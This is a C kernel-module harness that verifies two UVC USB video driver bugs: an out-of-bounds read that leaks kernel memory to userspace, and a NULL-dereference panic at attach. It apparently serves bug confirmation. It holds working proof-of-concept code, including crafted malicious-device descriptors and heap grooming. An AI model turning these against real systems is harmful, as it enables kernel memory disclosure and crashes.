DF-5305 / uvcharness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 | /* * uvcharness.c - pass-2 verification harness for sys/bus/u4b/uvc/uvc_drv.c * * DF-5305: strlcpy() from the non-NUL-terminated 16-byte bGuidFmt of a * VS_FORMAT_FRAME_BASED descriptor walks past the kmalloc()d * config-descriptor buffer; leaked bytes land in fmt->name and * are disclosed to userspace by VIDIOC_ENUM_FMT. * DF-5306: a VideoControl header declaring zero VideoStreaming interfaces * (bIfaceNums == 0) leaves sc->data == NULL; uvc_drv_init_video() * dereferences it (data->num_altsetting, uvc_drv.c:1513) and * panics at attach time. * * The harness #includes the REAL driver sources (newbus registration * neutered) and drives the real parse functions with crafted config * blobs exactly as an evil USB device presents them at attach. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/bus.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/lock.h> /* Neuter driver registration; we want the parse code only. * (Headers above already pulled in the real macro definitions.) */ #undef DRIVER_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, drv, dc, evh, arg) #define MODULE_DEPEND(name, mod, min, pref, max) #define MODULE_VERSION(mod, ver) /* The real driver code, verbatim */ #include "uvc_buf.c" #include "uvc_ctrls.c" #include "uvc_v4l2.c" #include "uvc_drv.c" /* keep the (now unregistered) driver objects referenced for -Werror */ static void *harness_refs[] __unused = { &uvc_driver, &uvc_devclass }; static struct usb_device fake_udev; static struct usb_interface fake_ifaces[2]; static uint8_t fake_devt[512]; /* zeroed fake device_t */ static const uint8_t guid_evil[16] = { 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, /* unknown GUID, no NUL */ }; #define BLOB_LEN 72 /* exact 8-byte kmalloc zone: 9|9|13|9|28 = 68 + 4 device bytes */ static void build_blob(uint8_t *b, uint8_t bIfaceNums) { uint8_t *p; memset(b, 0x00, BLOB_LEN); /* [0..8] configuration descriptor, wTotalLength = BLOB_LEN */ p = b; p[0] = 9; p[1] = 2; p[2] = BLOB_LEN & 0xff; p[3] = (BLOB_LEN >> 8) & 0xff; p[4] = 2; /* bNumInterface */ p[5] = 1; /* bConfigurationValue */ p[7] = 0x80; p[8] = 250; /* [9..17] interface #0: VIDEO class (0x0E), subclass CONTROL (1) */ p = b + 9; p[0] = 9; p[1] = 4; p[2] = 0; p[3] = 0; p[4] = 0; p[5] = 0x0E; p[6] = 0x01; p[7] = 0; p[8] = 0; /* [18..30] CS VC_HEADER, bLength = 13 */ p = b + 18; p[0] = 13; p[1] = 0x24; p[2] = 0x01; /* UDESCSUB_VC_HEADER */ p[3] = 0x10; p[4] = 0x01; /* wRevision = 0x0110 */ p[5] = 13; p[6] = 0; /* wTotalLen */ p[7] = 0x00; p[8] = 0x36; p[9] = 0xEE; p[10] = 0x00; /* dClockFreq */ p[11] = bIfaceNums; p[12] = 1; /* bIfaceList[0]: VS iface number */ /* [31..39] interface #1: VIDEO class (0x0E), subclass STREAMING (2) */ p = b + 31; p[0] = 9; p[1] = 4; p[2] = 1; p[3] = 0; p[4] = 0; p[5] = 0x0E; p[6] = 0x02; p[7] = 0; p[8] = 0; /* [40..67] CS VS_FORMAT_FRAME_BASED, bLength = 28 */ p = b + 40; p[0] = 28; p[1] = 0x24; p[2] = 0x10; /* UDESCSUB_VS_FORMAT_FRAME_BASED */ p[3] = 1; /* bFormatIndex */ p[4] = 0; /* bFrameNum */ memcpy(p + 5, guid_evil, 16); /* bGuidFmt at desc offset 5..20 */ p[21] = 0x55; /* bBitsPerpixel */ p[22] = 0x55; /* bDefaultFrameIndex */ p[23] = 0x55; /* bAspectRadiox */ p[24] = 0x55; /* bAspectRadioy */ p[25] = 0x55; /* bInterlaceFlags */ p[26] = 0x55; /* bCopyProtect */ p[27] = 0x55; /* bVariableSize */ /* [68..71] device-supplied padding INSIDE wTotalLength: the last * descriptor ends at 68, these 4 bytes belong to the cdesc buffer * but to no descriptor; all non-NUL. strlcpy() must cross the * 72-byte allocation boundary to terminate. */ p = b + 68; p[0] = 0x5A; p[1] = 0x5A; p[2] = 0x5A; p[3] = 0x5A; } static void setup_fake(uint8_t *blob) { memset(&fake_udev, 0, sizeof(fake_udev)); fake_udev.cdesc = (struct usb_config_descriptor *)blob; fake_udev.ifaces = fake_ifaces; fake_udev.ifaces_max = 2; memset(fake_ifaces, 0, sizeof(fake_ifaces)); fake_ifaces[0].idesc = (struct usb_interface_descriptor *)(blob + 9); fake_ifaces[1].idesc = (struct usb_interface_descriptor *)(blob + 31); } static void hexdump_name(const char *tag, const char *name) { int i; kprintf("%s hex:", tag); for (i = 0; i < 64; i++) kprintf("%s%02x", (i % 16) ? " " : "\n ", (uint8_t)name[i]); kprintf("\n"); } /* * DF-5305: parse a blob whose last descriptor is a FRAME_BASED format with * a non-NUL GUID. strlcpy() in uvc_drv.c:1888 walks past the allocation. */ static void run_leak(int round) { struct uvc_softc sc; struct uvc_drv_ctrl *ctrl; uint8_t *blob; void *g[24]; uint8_t mark = 0x41 + 2 * round; int i, ret; size_t n; /* heap groom: free a run of 72-byte chunks filled with 0x42, then * take one back for the marker so the chunk following the blob is * filled with `mark` (the "adjacent kernel memory"). */ for (i = 0; i < 24; i++) { g[i] = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK); memset(g[i], 0x42, BLOB_LEN); } for (i = 0; i < 24; i++) kfree(g[i], M_TEMP); { void *markA = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK); memset(markA, mark, BLOB_LEN); } blob = kmalloc(BLOB_LEN, M_TEMP, M_WAITOK | M_ZERO); build_blob(blob, 1); setup_fake(blob); memset(&sc, 0, sizeof(sc)); sc.udev = &fake_udev; sc.dev = (device_t)(void *)fake_devt; ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0); ret = uvc_drv_parse_ctrl(&sc, ctrl); kprintf("HARNESS[%d] DF-5305: parse_ctrl ret=%d sc.data=%p blob=%p blob_end=%p\n", round, ret, sc.data, blob, blob + BLOB_LEN); if (ret != 0 || sc.data == NULL) { kprintf("HARNESS[%d] DF-5305: parse failed\n", round); return; } kprintf("HARNESS[%d] DF-5305: nfmt=%u nfrm=%u nitv=%u fmt=%p\n", round, sc.data->nfmt, sc.data->nfrm, sc.data->nitv, sc.data->fmt); n = strnlen(sc.data->fmt[0].name, 64); hexdump_name("HARNESS fmt[0].name", sc.data->fmt[0].name); kprintf("HARNESS[%d] DF-5305: name strlen=%zu; in-bounds non-NUL run after GUID start (blob+45) is %d bytes -> " "strlen > %d PROVES read past the %d-byte cdesc allocation (groom marker this round = 0x%02x)\n", round, n, BLOB_LEN - 45, BLOB_LEN - 45, BLOB_LEN, mark); if (n > (size_t)(BLOB_LEN - 45)) kprintf("HARNESS[%d] DF-5305: *** OOB READ PAST ALLOCATION CONFIRMED: %zu bytes from outside the blob ***\n", round, n - (BLOB_LEN - 45)); /* the real disclosure sink, as VIDIOC_ENUM_FMT reaches it */ { struct uvc_drv_video v; struct v4l2_fmtdesc fd; memset(&v, 0, sizeof(v)); v.data = sc.data; v.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; memset(&fd, 0, sizeof(fd)); fd.index = 0; fd.type = V4L2_BUF_TYPE_VIDEO_CAPTURE; ret = uvc_drv_enum_v4l2_fmt(&v, &fd); kprintf("HARNESS[%d] DF-5305: uvc_drv_enum_v4l2_fmt ret=%d -> user-visible description=<%s>\n", round, ret, fd.description); } } /* * DF-5306: VC_HEADER with bIfaceNums == 0 -> sc->data stays NULL -> * uvc_drv_init_video() panics on data->num_altsetting (uvc_drv.c:1513). */ static void run_null(void) { struct uvc_softc sc; struct uvc_drv_ctrl *ctrl; static uint8_t blob[BLOB_LEN]; int ret; build_blob(blob, 0); /* bIfaceNums = 0 */ setup_fake(blob); memset(&sc, 0, sizeof(sc)); sc.udev = &fake_udev; sc.dev = (device_t)(void *)fake_devt; ctrl = uvc_drv_init_ctrl(&fake_ifaces[0], 0, 0); ret = uvc_drv_parse_ctrl(&sc, ctrl); kprintf("HARNESS DF-5306: parse_ctrl ret=%d sc.data=%p (expected NULL)\n", ret, sc.data); if (sc.data != NULL) { kprintf("HARNESS DF-5306: sc.data unexpectedly non-NULL, abort\n"); return; } kprintf("HARNESS DF-5306: calling real uvc_drv_init_video(sc, ctrl, NULL): " "expect NULL-deref panic at uvc_drv.c:1513 (data->num_altsetting)\n"); sc.video = uvc_drv_init_video(&sc, ctrl, sc.data); kprintf("HARNESS DF-5306: returned %p (UNEXPECTED - no panic)\n", sc.video); } static int harness_mode = 0; static int sysctl_harness(SYSCTL_HANDLER_ARGS) { int error, m = harness_mode; error = SYSCTL_OUT(req, &m, sizeof(m)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &m, sizeof(m)); if (error != 0) return (error); if (m == 1) run_leak(99); else if (m == 2) run_null(); harness_mode = m; return (0); } SYSCTL_PROC(_hw, OID_AUTO, uvcharness, CTLTYPE_INT | CTLFLAG_RW, 0, 0, sysctl_harness, "I", "uvc verification harness trigger"); static int uvcharness_handler(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("HARNESS: loaded (real uvc sources compiled in)\n"); run_leak(1); run_leak(2); run_leak(3); return (0); case MOD_UNLOAD: kprintf("HARNESS: unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t uvcharness_mod = { "uvcharness", uvcharness_handler, NULL }; DECLARE_MODULE(uvcharness, uvcharness_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |